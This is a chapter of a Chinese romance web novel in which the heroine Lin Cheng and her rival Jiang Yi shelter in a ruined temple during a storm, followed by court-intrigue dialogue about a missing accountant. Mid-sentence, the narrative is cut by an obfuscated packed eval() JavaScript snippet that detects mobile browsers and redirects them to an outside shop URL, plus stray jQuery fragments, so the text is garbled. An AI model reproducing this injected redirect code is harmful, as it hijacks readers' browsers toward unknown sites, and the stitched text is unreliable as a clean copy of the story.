默认冷灰
24号文字
方正启体

8. 第 8 章

作者:昭砾本书字数:K更新时间:
    雨珠密密麻麻砸在树叶上,湿冷的风裹挟着雨点,打在人身上刺骨的凉。林橙头顶着江弋的披风,这披风很大,几乎能将她整个人裹住,她缩着脖子,借着柔和的夜明珠光晕,深一脚浅一脚地踩在泥里。


    幸而坠落之处山势不高,落地时江弋又垫在林橙身下,两人除了一些擦伤的淤青,倒没什么大碍,只是两人顺着山坡在林中滚了很远,密林幽深,又下起大雨,现下完全不知身在何处。


    一道闪电划破天际,将漆黑的林子照得惨白,紧接着“轰隆——”一声巨响,惊雷炸响,仿佛就劈在头顶。


    林橙吓得浑身一哆嗦,往远离大树的方向缩。


    “离树远点。”江弋跟在她身后半步的距离,伸手轻轻将林橙往自己身边拉。


    林橙没好气地重重一脚踩到落叶堆上,她当然知道要离树远点,然这林中密密麻麻到处都是大树,躲无可躲。


    走着走着,林橙忽然停下脚步,目光落在脚边的小土堆,她举起夜明珠,莹润的白光照亮那一小簇冒芽的竹笋,嫩黄带绿,在雨水的冲刷下显得格外鲜亮。


    这场景……怎么有点眼熟?


    江弋从她肩后探出头来,忽的一喜,指向正前面:“前面有处破庙,可以避雨。”


    林橙想起来,那日她去香积寺的路上被地痞流氓绑架,就曾路过此处,只是


    “你怎会知道前面有处破庙。”


    江弋悬在空中的手指一顿,旋即解释:“皇后仪仗出发前,我……我先来探过路,那时候来过。”


    林橙觉得可疑,还想追问,此时又一道炸雷劈下,吓得她心口一颤,闷着头就往前面冲。


    破庙里,江弋举着夜明珠将枯草、木材收在一起,从怀中取出两枚火石,生起了火。


    林橙看他这套动作做得行云流水,无比熟练,好奇道:“你随身都带着夜明珠和火石吗?经常用吗?”


    “嗯,”他一边说着一边解开腰带,“工作需要。”


    江弋的外袍顺着手臂滑下,他又开始解中衣的衣带。


    林橙被吓得往后一跳,拿起身上的包袱挡在眼前:“你干什么?”


    江弋动作顿住,一脸无语:“衣服湿了,烤干。难不成你想穿着湿衣服冻死?”


    “哦……那你……你转过去。”


    林橙脱下外袍,又从包袱里取出医书、锦盒,寻了处柜子,擦掉上面的灰,将医书摊开晾着。


    此刻江弋脱得只剩一件里衣,凑过来见到锦盒中的金簪:“这簪子很漂亮,适合你。”


    “这是阿娘送我的,说等我成亲那日定要带着这支金簪。”


    江弋没有说话,转而又去角落搜罗还有没有可以用的木材。


    火光“噼里啪啦”,时不时被穿堂风吹得摇曳,林橙抱着腿坐在火堆前转着身体烤身上的湿衣服。


    此时,耳边突然想起系统机械的提示音:“宿主,任务倒计时一炷香。”


    !


    林橙吓得差点惊叫,这两日发生了太多事,她把这茬子事忘得干干净净。


    目光不自觉地扫向江弋,江弋背对着她正在翻东西,见他脊背僵得笔直,显然也收到了系统提示。


    两人默契地谁也没有说话,破庙里陷入一片沉默,只有火堆燃烧的噼啪声,还有外面大雨和雷声的轰鸣,显得格外刺耳。


    火光跳跃着,映在两人的脸上,明明灭灭,两人分坐在火堆两侧,一个看着破庙前门,一个看着破面后门。


    今夜的雨好大,雷声一声接一声,一声比一声骇人,林橙抱着双腿,将身体瑟缩成一团,脑中疯狂思索着今夜的雷罚会不会比往日更加可怕,到底用什么姿势能减轻一点痛苦。


    “轰——!”


    又是一道炸雷劈下,借着闪电的余光,林橙看到庙外不远处一棵大树被雷击中,“咔嚓”一声巨响,粗壮的树干瞬间被劈成两半,断裂的树干带着火星轰然倒地,树皮被烧焦,冒着黑烟,焦糊味被风卷了进来。


    林橙被吓得目瞪口呆,若是这道雷劈在自己身上……


    此时系统开始倒计时,


    “十”


    恐惧和委屈一齐冲了上来,林橙“哇”的一声哭了出来。


    “九”


    “江弋你这个混蛋,自从遇上你以后我的人生就没有顺过。”


    “八”


    “小学我明明每次都能轻松拿第一,自从你来了我每次考试都紧张得不行。”


    “七”


    “上了初中,你还要跟我争竞赛成绩。”


    “六”


    “高中我本来可以有初恋的,你把我的情书全都没收了。”


    “五”


    “结果被老师发现,害我挨了一顿教育,初恋也没了。”


    “四”


    “大学新生晚会,我闪亮全场,结果没一个帅哥来加我好友。”


    “三”


    “整整四年都没人追我,我到处打听才知道不知是哪个杀千刀说我有个很凶的男朋友,追我就要被打进医院。”


    “二”


    “江步月结婚,我不就是洒了点酒在你身上嘛,你非得拉着我理论,害得我穿到这么一本破文里。”


    “一”


    “我现在又要被雷劈死了。”


    “叮——恭喜宿主,任务已完成。”


    风声雨声雷声声声入耳,却与她无关,她只觉得好暖和。


    湿凉的身体被温热的胸膛环住,有炙热的呼吸拂在面颊,又暖又酥,唇上湿润又柔软,她眨眨眼余光看见两人贴在一起的唇,原来这就是接吻吗?


    她的心跳得好快,“咚咚”地响,震得耳边发鸣。


    和讨厌的人接吻,就是这种感觉吗?


    气血上涌,冲得林橙有点晕乎,她抬起脚,一脚踩在江弋脚背。


    “啊——”


    破庙中响起一声凄厉的惨叫。


    林橙被气笑了,嘴角牵着弧度,语气却冷得过分:“江弋,你知不知道,这是我的初吻。”


    捂着脚正在蹦跶的江弋一愣,嘴角不自觉扬起,然他立刻压下,清了清嗓子,极力作出委屈的模样:“我也是初吻,咱俩扯平了,谁也不欠谁。”


    “谁跟你扯平了!”


    林橙猛然扑过去,江弋足间轻点,跃上房梁。


    “江弋,你给我滚下来!”


    江弋背靠在立柱上,右手持剑,双手抄在胸前,笑着:“你这人怎么只许州官放火不许百姓点灯,你当时逼着我与你同床共枕共度春宵时,可不是这副样子。”


    林橙气结,双手叉腰抬头望着上面:“能一样吗?那是盖被纯聊天,现在这是、这是……”


    “这是什么?”


    林橙从未见过如此厚颜无


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17563594|204628||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    耻之人,她从角落里端来椅子,企图借着立柱爬上横梁,然而这立柱打磨得太过光滑,爬上几步就没了借力的地方,她试了几次,每次爬到一半就往下滑。


    江弋就这样看着她爬上来、滑下去、爬上来、滑下去,炸毛的小猫分外可爱。


    终于,林橙放弃了,恶狠狠地剜了江弋一眼,“有本事你在上面待一辈子!”,旋即缩在火堆旁迷迷糊糊睡了过去。


    次日,林橙是被说话声吵醒的,她张开眼睛,雨不知在何时已经停下来,江弋站在破庙门前正与几个羽林军装扮的人说话。


    她站起来,江弋的披风从她肩上滑落。


    听见动静,江弋两步跨过来,捡起地上的披风拍了拍,似在安抚:“羽林军已经去通知你父母了,你母亲也没事。”


    林橙点点头,她还想问关于这次刺杀的调查有没有什么进展,发现门前的几个羽林军都在看着这边,又止住了话头。


    林仁泽和赵淮很快被领了过来,两人将林橙搂在怀中,又是笑又是哭,确定林橙真的无碍后才放下心来。


    “江将军,救命之恩无以为报,日后若是有什么林某帮得上忙的,只要不违律法,江将军尽管开口。”


    “林郎中言重了,保护随行家眷本就是羽林军的责任。”


    江弋安排了几个羽林军护送林橙一家回去,他故意落在后面不远不近的距离,用手肘推推郑行周:“你怎么来了?听大将军说你告了长假。”


    “昨日我刚回京城,就听闻皇后在神禾原遇刺,北衙禁军倾巢而出,我都来不及找大将军销假,就跟着一起来了。”


    “皇后怎么样?”


    “受了伤,宫中所有人嘴都闭得严实,什么消息也没有。听闻昨日那刺客来得突然,直奔皇后仪仗,若非你挡了一剑,恐怕皇后那时就……”


    江弋不置可否,昨日的刺客武功不俗,他当时受命护卫在皇后身侧,被几名刺客围攻,一时没能脱身。


    圣人本已病重,皇后又受了伤,宫中恐怕是要变天了,江弋叹了口气,只希望这火不要烧到自己身上。


    他又问道:“你告假去何处了?”


    他印象中,郑行周进左羽林军四年有余,从未告过假,偶尔连休沐日都在上值,实属卷王。


    “我去查城宁公主府上失踪的那名账房先生了。”


    江弋有些诧异:“你还在查这件事?”


    “此事实在蹊跷,那账房先生在京城关系简单,既无亲人也无故交,妻儿都住在公主府旁的别苑,因此深受公主信任。他失踪前无任何异常,日日都是深居简出,只在家和公主府两点一线。”


    郑行周颇为苦恼,接着说道:“我这次专门跑了一趟长洲县,想看看在他老家能不能寻到些线索,结果也全无收获。”


    郑行周诉完苦,一回头发现江弋顿在原处没有动。


    “你怎么了?”


    江弋的语气突然紧张起来:“你说,那账房先生,是长洲县人。”


    “对呀,”郑行周不明所以,“有什么问题吗?”


    “公主府有多少账房先生?”


    “共十人,公主生母虽被废,但公主毕竟是圣人的第一个孩子,仍享公主礼遇。不似她弟弟,已被贬为庶人。”


    江弋的目光望着前面林橙的背影,说道:“我帮你找到那账房先生,但你要帮我个忙。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)